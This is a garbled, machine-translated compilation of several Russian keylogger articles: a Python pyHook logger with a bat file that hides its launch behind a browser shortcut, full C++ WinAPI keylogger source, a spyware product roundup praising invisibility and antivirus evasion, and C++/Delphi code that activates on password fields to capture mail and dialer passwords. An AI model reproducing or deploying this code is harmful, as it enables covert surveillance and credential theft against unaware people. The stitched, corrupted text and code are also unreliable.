& nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbsp & nbspLaboratory of information security We write a keylogger in c

Hello, QUAZAR is with you again. Today I will show you how to create a simple keylogger in Python. Of course, this keylogger cannot compete with such giants as, but despite this, it can be used.

What is a Keylogger?

You can read more about what a keylogger is and about the types of keyloggers in the article ““. To find additional materials on the topic, use the site search, which is located in the upper right corner. Just write in the word "keylogger" or "keylogger".

A simple Python keylogger

To create a keylogger, we need:

  • Operating system: Windows or MacOs (any Linux can also be used, but I personally haven't tried it)
  • Python installed on the target machine as well as special libraries.

This material is for informational purposes only. The information presented in the article is provided for informational purposes only. Neither the editors of the website www.site, nor the author of the publication bear any responsibility for any harm caused by the material of this article.

Building a simple keylogger in Python

First you need to download and install Python.


A simple Python keylogger

After installing Python, you need to install the "pyHook" and "pywin32" modules. On this site you will find 32-bit and 64-bit versions for Windows and other operating systems. Download "PYhook" and "pyWin32" according to the version of Python and Windows you have installed (32 bit or 64 bit).


Keylogger in Python. PYhook Python Keylogger Module. PyWin32 module

Once downloaded, install and open the IDLE (Python GUI) menu from the start menu.

A simple Python keylogger

Go to the "File" menu and click on the "New File" item. Then paste the keylogger code:

#Name: QUAZAR
#Website: www.site
import pyHook, pythoncom, sys, logging
file_log \u003d "C: keyloggerlog.txt"
def OnKeyboardEvent (event):
logging.basicConfig (filename \u003d file_log, level \u003d logging.DEBUG, format \u003d "% (message) s")
chr (event.Ascii)
logging.log (10, chr (event.Ascii))
return True
hooks_manager \u003d pyHook.HookManager ()
hooks_manager.KeyDown \u003d OnKeyboardEvent
hooks_manager.HookKeyboard ()
pythoncom.PumpMessages ()

And save it by naming the Keylogger.pyw file. Just don't save the file in the root C: where you need administrator rights to copy and delete files. Create a new folder on your C: drive or somewhere else where you don't need administrator rights to copy the files, and save Keylogger.pyw there.

As the output file of the report "file_log \u003d" C: keyloggerlog.txt "you can choose any location, but it is better, of course, some hidden place on the hard disk. In this example, I will save the report file to disk in the C: root directory. I have nothing to hide.

Automatic launch of a keylogger in Python

The keylogger is ready. Now you need to make the keylogger run hidden from the user and automatically when Windows starts up. This can be done in different ways. Let's try to do it using a bat-file by tying the launch of the keylogger to some program or by writing it to startup.

First, create a bat file. Copy and paste the following code into notepad:

:: Name: QUAZAR
:: Website: www.site
@echo off
start "" "C: keyloggerkeylogger.pyw"
start "" "C: Program FilesOperalauncher.exe"

In the first line, you must enter the path to the keylogger.pyw file (in my case, "C: keylogger.pyw"). On the second line, you must enter the path to the program that the user usually uses (in my case, the Opera browser).

After editing, save the file in the .bat extension (in my case logger.bat) in some hidden place on the computer (in my case in "C: keylogger.bat").

Now we go to the desktop and select the shortcut of the frequently used program (in my case, this is the Opera browser). Right-click the context menu and go to the properties of the shortcut. In the “Object” field, enter the path to the keylogger bat file “C: keyloggerlogger.bat”.

After making changes, the shortcut icon will also change. But this can be easily solved on the property tab (see the screen above).

Hello, Khabrovites.

I decided to write a software keyboard logger in C ++ using WinAPI. I can't say that I was pursuing some kind of espionage goal when I wrote it, but rather got acquainted with the WinAPI hooks. Since it turned out not so bad, and there is no article about software loggers on Habré, I decided to write my own.

How is it done?

A keyboard hook was used to catch keystrokes.

HHOOK WINAPI SetWindowsHookEx (_In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId);

In order to intercept pressing of all keyboard keys, it is convenient to specify WH_KEYBOARD or WH_KEYBOARD_LL as the idHook parameter. The only difference is that WH_KEYBOARD_LL also intercepts system keystrokes (i.e. Alt or any key while holding Alt), so we will select it.

Lpfn is a pointer to a function that processes intercepted messages (in our case, keystrokes).
hMod is a handle to the application instance that contains the processing function.
dwThreadId is the identifier of the thread whose messages we want to intercept. You need to set this parameter to 0 to intercept messages from all streams.

The return value is a handle to our hook, which will need to be freed by the UnhookWindowsHookEx function on exit.
Looking for help on MSDN, we can see the prototype of the function that processes the messages of this hook.

LRESULT CALLBACK LowLevelKeyboardProc (_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam);

NCode must be HC_ACTION, otherwise the message is presented to another process.
wParam is one of the following values \u200b\u200bWM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
lParam is a pointer to the KBDLLHOOKSTRUCT structure, in the fields of which we are only interested in 2 parameters: vkCode (virtual code) and scanCode of the pressed key.
This function must return the value of the CallNextHookEx function, otherwise the next hook that handles the event may receive incorrect message parameters.
Each time a key is pressed, our program will intercept this event and process our LowLevelKeyboardProc procedure.

In order to relay the virtual and scanned key codes into a symbolic form, we need the ToAsciiEx function.

Int WINAPI ToAsciiEx (_In_ UINT uVirtKey, _In_ UINT uScanCode, _In_opt_ const BYTE * lpKeyState, _Out_ LPWORD lpChar, _In_ UINT uFlags, _In_opt_ HKL dwhkl);

The first 2 parameters are virtual and scan key codes, respectively.
lpKeyState - keyboard state, checks which keys are pressed / active.
lpChar is a pointer to a double word to which the function will write the symbolic representation of the key.
uFlags is a parameter indicating menu activity.
dwhkl - keyboard layout identifier.
The return value is the number of characters written to the lpChar buffer. We are interested in the case when 1 character is written.
Basically, these are the 3 main functions required for the simplest keyboard logger.

A little about the program

The program is compiled without RTL in Visual Studio 2013. Thus, we get a small size of the executable file and the impossibility of building in the debug version. Data is written to a log file in the same directory where the.exe file is located. For convenience, the logger creates a new file every time it is written, records the time of keystrokes, the name of the window in which the characters were entered, and stops by pressing LSHIFT + RSHIFT. This sniffer is not adapted for a full keyboard, some service keys, for example F13 or NUM_LOCK, can be written as. I think those who are at least a little familiar with C / C ++ can easily add them. Moreover, you can completely change the code as you like.

Various spyware programs are necessary when many people have access to one computer.

Under these conditions, the user may want to know which sites were visited from his computer (for example, by children), whether theft from credit cards using saved passwords, etc., will be required to clarify these issues.

Our review will allow you to make the best choice.

Selection features

What exactly is a keylogger? This is a program that, strictly speaking, has nothing to do with the keyboard directly.

It is installed in the computer memory and acts on. Often, the signs of its activity are not visible on the computer, unless you look for them purposefully.

Such a program indirectly interacts with the keyboard, that is, it works with a program on a PC that converts the signals received by the processor as a result of pressing buttons into text when typing.

That is, the action of such software is directed at collecting information entered through the keyboard.

Such utilities are of different types - with the help of some you can view all the text typed from the keyboard, with the help of others - only the one that was typed in the browser or in any selected application.

Some programs provide the ability to customize these indicators, others do not.

They also differ from each other in the degree of secrecy. For example, the activity of some is obvious, a shortcut remains on the Desktop, etc., such programs are suitable for monitoring activities, for example, children.

Traces of the presence and activity of others are not noticeable at all - they act hidden and are suitable for installation on someone else's computer, when the fact of installation must be hidden from a third-party user.

Given this variety, choosing the most suitable software can be quite difficult.

This material presents the TOP of the best programs that can be used for this purpose. It is easier to choose the right one among them.

Specifications

To simplify the software selection process, the table below shows the main comparative characteristics of all programs included in the TOP.

NameLicense typeType of information collectedFunctionalDesign
SC-KeyLogIs freeAllWideSimplified
WideStep Handy KeyloggerFree / PaidAllWideImproved
Actual SpyPaidAllVery wideStandard
EliteKeyloggerPaidAllWideStandard
The Rat!Free / PaidLess than previousQuite wideUnaesthetic
SPYGOIs freeDepending on the versionDepending on the versionWindows standard design
Ardamax Keylogger 2.9Is freeFrom the keyboardNarrowedSimplified
NS Keylogger Personal Monitor 3.8Is freeAllNarrowedSimplified
KGB SpyPaidFrom the keyboard + open programsNarrowPlain
Golden Keylogger 1.32Is freeFrom the keyboardVery narrowPlain

Based on the characteristics from this table, it is easy to choose the most suitable program for specific requirements.

More details about these utilities are described below.

SC-KeyLog

It is a voluminous and functional spy program that is distributed free of charge.

In addition to tracking specific information entered from the keyboard, it is also able to collect URLs of visited sites, passwords, open windows in the browser.

Provides complete information about all actions performed on the computer. In this case, the generated file can be viewed remotely from another device.

  • Ability to remotely access a file from another device;
  • Absence of traces of the program's activity on the computer with the correct settings;
  • Variety of collected data - almost all activities on the PC can be accessed.
  • Saves passwords only no higher than NT0;
  • Too simple menu and unaesthetic design;
  • This is a rather inconvenient format for displaying the result.

But what do users who actively use this software say? "Absolutely invisible to the user", "Data arrives regularly in the mail."

WideStep Handy Keylogger

This application is shareware. The full paid version is priced at $ 35.

Quite an interesting and functional program that is worth the money if you are willing to pay it.

Distinctive feature - the ability to send recorded data at a specified frequency. Otherwise, it works fine, often more stable than other programs from this list.

  • Collection of information of various types;
  • Complete invisibility of work on the user's computer;
  • Simple interface and management.
  • The design is better than in the previous program, but still not up to par;
  • The result display format is inconvenient;
  • The paid version is quite expensive.

The opinions of users about this software are as follows: “Convenient, simple and functional program. Quite invisible when working. "

Actual Spy

This is a functional and complex paid program that costs 600 rubles. However, it has a free demo version.

Feature of this software - ability in a given period of time.

This helps to solve the problem of entering a picture password / key, which have recently become widespread.

  • Many types of information collected, plus the ability to take screenshots from the screen during a specified period;
  • A large number of other additional functions and features;
  • Records not only actions, but also the time of their execution;
  • Encrypts the generated log.
  • The duration of work (collection of information) in the free demo version is 40 minutes;
  • Paid distribution, although more or less affordable;
  • The weight of the program is quite large.

User reviews of this application are as follows: “The program is excellent. Well done programmers! "

EliteKeylogger

Paid program with a fairly high price - 69 dollars. Acts on the PC completely invisible in low-level mode, therefore it is almost completely undetectable.

An interesting and convenient feature - automatic launch of the software, which occurs simultaneously with the launch of the system itself.

It is difficult to detect or not at all detected even by special anti-keyloggers.

  • Completely hidden action and difficulty in detection;
  • Format of work such as a low-level driver and automatic start at system boot;
  • It also monitors the pressing of not only the main, but also the service keys on the keyboard.
  • Quite a complex system for installing the program on a PC;
  • High cost of the program, but an old hacked version can be found on the Russian Internet;
  • Quite a complex system of individual program settings, which, however, justifies itself.

What do users say about this software? "Good program", "A little short of Jetlogger."

The Rat!

Quite widespread and popular, functional utility with a paid license.

However, for private use, a free demo version with a limited period of validity is provided.

The program is very simple - any advanced user can write the same. However, it is completely elusive for antiviruses and special programs that detect such software.

  • Simplicity, functionality and high stability of work;
  • The minimum weight of the file and the space it takes on the computer;
  • Quite a lot of settings.
  • Quite a nasty design in black, white and red;
  • The functionality is somewhat narrower than in the programs described before;
  • Inconvenient log viewing and generally inconvenient interface and use.

Users say the following about this program: "It works stably, but simple", "The program is good, it allows you to collect data unnoticed."

SPYGO

This is a fundamentally new keylogger designed to work for and developed by a Russian programmer.

Published on 18 January 2015. Where? "No need to look for easy ways, especially on the Internet :). Download keylogger for freeyou can, but be prepared for various restrictions or surprises. First, the functionality of the keylogger will be low. Free demo versions of full-fledged programs usually contain limitations, sometimes unexpected :). Secondly, there will be no additional, usually accompanying keyloggers, additional programs or functions for log processing, tracking settings, etc. Thirdly, you will not find any support for the keylogger from the manufacturers. Instead of looking for where download keylogger free, think about whether to write it yourself? The simplest keylogger for Windowswriting is not very difficult if you know the basics of programming in Windows. So, we continue to upload the source codes of keyloggers. Keylogger for Windows written in C ++, of course using the Win API. The key hook is implemented using SetWindowsHookEx (WH_KEYBOARD_LL, ...). An executable file is created without a dll library, so to speak, a keylogger in one file! The advantages are obvious - it is easier to organize remote installation, smaller size, more secrecy (dll will not hang in the processes of all applications). The disadvantage of this method of interception is in its unstable operation, or in general refusal to work in Windows 7. Interception of keys without using dll (WH_KEYBOARD_LL) causes misunderstanding in the seven. You have to shaman, conjure, to make the keylogger work. Of course, there is always a way out (look for it yourself, and may the force be with you :)). You can write a normal one using SetWindowsHookEx (WH_KEYBOARD_LL, ...). Everything will be fine in Windows 7. How WH_KEYBOARD_LL will work in Windows 8 is not yet known.

Logging is organized through a file stream. Something has been added to improve the readability of the log. The code is small and efficient. Suitable for a keylogger for windowswith certain additives and a question where can download keylogger freedisappears.

Source file * .exe:

#include< windows.h > #include< fstream > #include< iostream > #include< algorithm > #include< string > using namespace std; string myKey; BOOL isCaps (); char logName \u003d "keys.txt"; // LOG FILE name // init all varibles for speed MSG message; HHOOK keyboardHook; char keyNameBuff; PKBDLLHOOKSTRUCT p; unsigned int sc; // keylogger for Windows void writeToLog (string s) // write a string to the log (ofstream log (logName, ios :: app); // opens log file log<< s; //writes to log.. with format "[""]" log.close(); //closes log } // Кейлоггер для Windows BOOL isCaps() { if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0 || ((GetKeyState(VK_SHIFT) & 0x8000)!=0)) { return 1; } else { return 0; } } // Кейлоггер для Windows LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam)//proc to be run on hooked key { if (wParam == WM_KEYDOWN)//if key event type is key down { //get the keyname from lParam p = (PKBDLLHOOKSTRUCT) (lParam);//used to get the vkCode sc = MapVirtualKey(p->vkCode, 0); sc<<= 16; //shift 16 bits if (!(p->vkCode<= 32))//if not ascii { sc |= 0x1 << 24; // <- extended bit } GetKeyNameTextA(sc,keyNameBuff,16); // Кейлоггер для Windows - исходник //gets ASCII key name from sc into keyNameBuff //write keyname to log myKey = keyNameBuff; if (myKey == "Space") { writeToLog(" "); } else if (myKey == "Right Alt") { writeToLog(""); } else if (myKey == "Enter") { writeToLog(""); } else if (myKey == "Left Alt") { writeToLog(""); } else if (myKey == "Tab") { writeToLog(""); } else if (myKey == "Backspace") { writeToLog(""); } else if (myKey == "Caps Lock") { writeToLog(""); } else if (myKey == "Delete") { writeToLog(""); } else if (myKey == "Right Shift") { writeToLog(""); } else if (myKey == "Shift") { writeToLog(""); } else if (myKey == "Ctrl") { writeToLog(""); } else if (myKey == "Right Ctrl") { writeToLog(""); } // if its none of the special keys else { if (isCaps() == 1) { writeToLog(myKey); } else { std::transform(myKey.begin(), myKey.end(), myKey.begin(), ::tolower); writeToLog(myKey); } } } return CallNextHookEx(NULL, nCode, wParam, lParam); } // Кейлоггер для Windows void msgLoop() { while (GetMessage(&message,NULL,0,0)) { TranslateMessage(&message); DispatchMessage(&message); } } // Кейлоггер для Windows int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0); //hooks keyboard msgLoop(); //stops from closing // Кейлоггер для Windows - исходник UnhookWindowsHookEx(keyboardHook); //unhooks return 0; //Never run }

You can use any development environment you like (Dev-C ++, MSVS, Borland C ++). We collect, make the necessary individual changes andkeylogger for Windowsready and spending time looking for where you candownload

About writing keyloggers
has already been told many times, but all of them
have one big drawback - as a rule,
very limited
information, and not write everything to the log file,
what the user writes on the keyboard is unlikely for you
will give a lot of food for thought logs
pressing buttons when playing CS 😉

It follows that the spy must be
advanced, and not stupid to write to the log everything that
they give him 🙂 Even name such a program
a spy does not turn his tongue - it is almost
electronic agent 007 :-))) Ways to
so that the program writes to the log the interesting
we have a lot of material. Simplest -
monitor active windows, i.e. in which
at the moment the buttons are choking 🙂 How are you,
I think you know spies are usually made up of
executable file and DLL. This is due to the fact
what to intercept messages to the window
you need to create a new PROCESS, and the most
convenient for this is to use dll-ku.
Therefore, in order to activate
the logger itself, you will need to
the moment to load the DLL, and when the active window
will change to something else - unload it from memory.

Consider the functions of working with DLL in the Visual language
C ++. Loading into dll memory is performed
function hINSTAGE \u003d LoadLibrary ("name.dll"), where hINSTAGE is
like a descriptor of a DLL loaded into memory,
name.dll is the name of the library. To unload it,
there is a FreeLibrary (hINSTAGE) function;

Now about how we can need
applications. For example, we know that the user
reads mail through the website www.mail.ru, then you can
configure the agent so that it intercepts
keystrokes when the user enters this
website. (It should be remembered that in some
spy keyboard apps don't
can work for example in the address bar
Internet Explorer "a - this results in a" crash
completion of programs "- why else are you from
Windows wanted :))) For this method, quite
reading passwords from the "dialer" is also suitable
- if the user suffers from paranoia and every time
enters login and pass manually 🙂 Or you are very
I wonder what he writes in Outlook "e or
in a notebook. Here is a piece of code doing
comparison of window titles with the ones we need.

HINSTAGE hINSTAGE;

while (1)
{
// Start the loop.

int sl, ll;
ll \u003d 1;
sl \u003d 2;
// variables for
counter
and.
char st;
HWND hw;
// Go to the simplest
by way - we compare the strings character by character:
the resulting window title and with the desired
string.

while (ll! \u003d sl)
{

hw \u003d GetForegroundWindow ();
GetWindowText (hw, st, 128); // read

char stt \u003d "_ Here we write the title of the required
us windows_№1 ";

sl \u003d strlen (stt);
ll \u003d 0;
while (stt \u003d\u003d st)
// compare
character by character strings
// it is more convenient to do this from the position that will be
check if the correct
// us a string as part of another string, you can
make it look like a // wide filter.

{
ll ++;
}

if (ll \u003d\u003d sl) ( // if strings
match until the end of the 1st line -

halt; // abort the process
}
// and so on - if
need to check for multiple windows.

char stt \u003d "_ Here we write the title of the required
us windows_№2 ";
sl \u003d strlen (stt);
ll \u003d 0;
while (stt \u003d\u003d st)
{
ll ++;
}

if (ll \u003d\u003d sl) (
halt; // abort the process
}

Instead of a sequential check, you can
make parallel when compared in
one cycle the elements of the lines, if at least one
matched - then the spy DLL is activated.

hINSTAGE \u003d LoadLibrary ("key1.dll");

Now we need to check all the time
whether this window remains active.

while (ll \u003d\u003d sl) //while
the lines match - spinning in place

{
hw \u003d GetForegroundWindow ();
GetWindowText (hw, st, 128);
// read
the currently active window.

ll \u003d 0;
while (stt \u003d\u003d st)
{
ll ++;
}
}

Leaving the loop indicates that the active
the window has changed, so further we unload the "spyware"
library and the loop starts from the beginning - i.e.
the program is again waiting for one of the
the necessary windows.

FreeLibrary (hINSTAGE);

However, the above method has and
disadvantages - it is required to check each time
from the whole list of windows is the required
us active at the moment. therefore
you can use another algorithm - do not check
title of the window, but look if in this
elements of type EditBox "a. As a rule,
passwords are written exactly there 🙂
look at the elements of this window - and if
among them is Edit - then load the DLL.

char p2, p3; // arrays
symbols for window titles.

Again, we check all windows in the loop:

while (p3! \u003d "Edit") //while
did not find the window with the editbox - we execute the loop

{

hw \u003d GetForegroundWindow ();

HWND hwnd_child; //variable
window element

hwnd_child \u003d GetWindow (hw, GW_CHILD);
GetClassName (hwnd_child, p3,128);
if (p3! \u003d "Edit")
// if the first one is
found window items - not an EditBox - then
looking further

{
while (hwnd_child! \u003d 0)
{
hwnd_child \u003d GetWindow (hwnd_child, GW_HWNDNEXT);

GetClassName (hwnd_child, p3,128);
if (p3 \u003d\u003d "Edit")
{
halt;
}
}
}
}

Now about the spyware DLL itself.
It is better to write it in Delphi, because this
the mature descendant of Pascal does not have such
perverted "Sipish" habit
nitpicking about data types. To create
select the library File-New-Direct Link Library - and
the stub for the DLL is ready. And here is the code itself:

library key1;
uses Windows;

var
KHook: HHOOK; // variable for
"traps"

function KProc (Code: integer; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: integer \u003d 1073741824; //the code
"key pressed"

var
Simv: ShortString;
KL: array of Char; //for
checking keyboard layout

FStruct: TOFSTRUCT;
F: TextFile;
//variable
file to write the log.

begin

// filter out unnecessary
messages
if (lParam and KState)<> 0 then
begin

Exit;
end;

AssignFile (F, "keylog.txt");

// trying to open
file "keylog.txt":
if OpenFile (PChar ("keylog.txt"), FStruct, OF_EXIST) \u003d HFILE_ERROR then
begin
ReWrite (F);
// if the file is not
created - creating.

end
else Append (F);
// if there is, write to
end.

Simv: \u003d chr (0); // set to zero
the variable of the character read from the keyboard.

// parse the code
key pressed
case wParam of
// numbers
48..57: Simv: \u003d Chr (wParam);
96: Simv: \u003d "0";
97: Simv: \u003d "1";
...
104: Simv: \u003d "8";
105: Simv: \u003d "9";
189,109: Simv: \u003d "-";
110: Simv: \u003d ".";
111: Simv: \u003d "/";
end;

GetKeyboardLayoutName (KL); //
checking the layout

if KL \u003d "00000409" then // if a
Latin:

begin
case wParam of
219: Simv: \u003d "[";
221: Simv: \u003d "]";
186: Simv: \u003d ";";
222: Simv: \u003d "" ";
188: Simv: \u003d ",";
190: Simv: \u003d ".";
191: Simv: \u003d "/";
65..90: Simv: \u003d Chr (wParam);
end;
end;
end;
if KL \u003d "00000419" then
// if a
Russian

begin
case wParam of
219: Simv: \u003d "X";
221: Simv: \u003d "b";
186: Simv: \u003d "F";
222: Simv: \u003d "E";
188: Simv: \u003d "B";
190: Simv: \u003d "Yu";
191: Simv: \u003d ".";
65: Simv: \u003d "F";
...
87: Simv: \u003d "C";
88: Simv: \u003d "H";
89: Simv: \u003d "H";
90: Simv: \u003d "I";
end;

// if the character is not empty (i.e.
if an alphanumeric key was pressed)
// then write it to file
if Simv<>"" then
Write (F, Simv);
// close the file
CloseFile (F);

// pass the message
other traps in the system
Result: \u003d CallNextHookEx (KHook, code, wParam, lParam);
end;

begin
// Set trap
to intercept messages about the keyboard.

KHook: \u003d SetWindowsHookEx (WH_KEYBOARD, @KProc, HInstance, 0);

Also, this program can be simplified into
depending on the application - if
let's say you only need to count once
the password from the dialer - then you can put
check for windows to what we need, and when it
becomes active - load library
key1.dll, wait a certain time, for
which the user will have time to fill these characters on
keyboard and then unload the library and
end the program. Something like this 🙂

hINSTAGE \u003d LoadLibrary ("key1.dll");
Sleep (10000);
// wait 10 seconds for this
time the user will type the password.
// time can be increased depending on
from the degree of inhibition of the user
// and its speed of typing on the keyboard 🙂

FreeLibrary (hINSTAGE);

PS: All of the above material was given
exclusively with demo and
general educational goals, the author set
task to demonstrate
algorithm of the program like "upgraded
keylogger "and all
responsibility for using this
material falls on you (unbearable
burden 🙂) The implementation of the code contains
minor inaccuracies that do not harm the actual
algorithm - try to find them yourself)).

PSS: Of course, a keylogger can not only
fulfill its main function -
actually write to the log of button clicks, but also
change the values \u200b\u200bof the pressed keys as you wish
taste - but how to do it and what it is for
maybe just vital - in
next time 🙂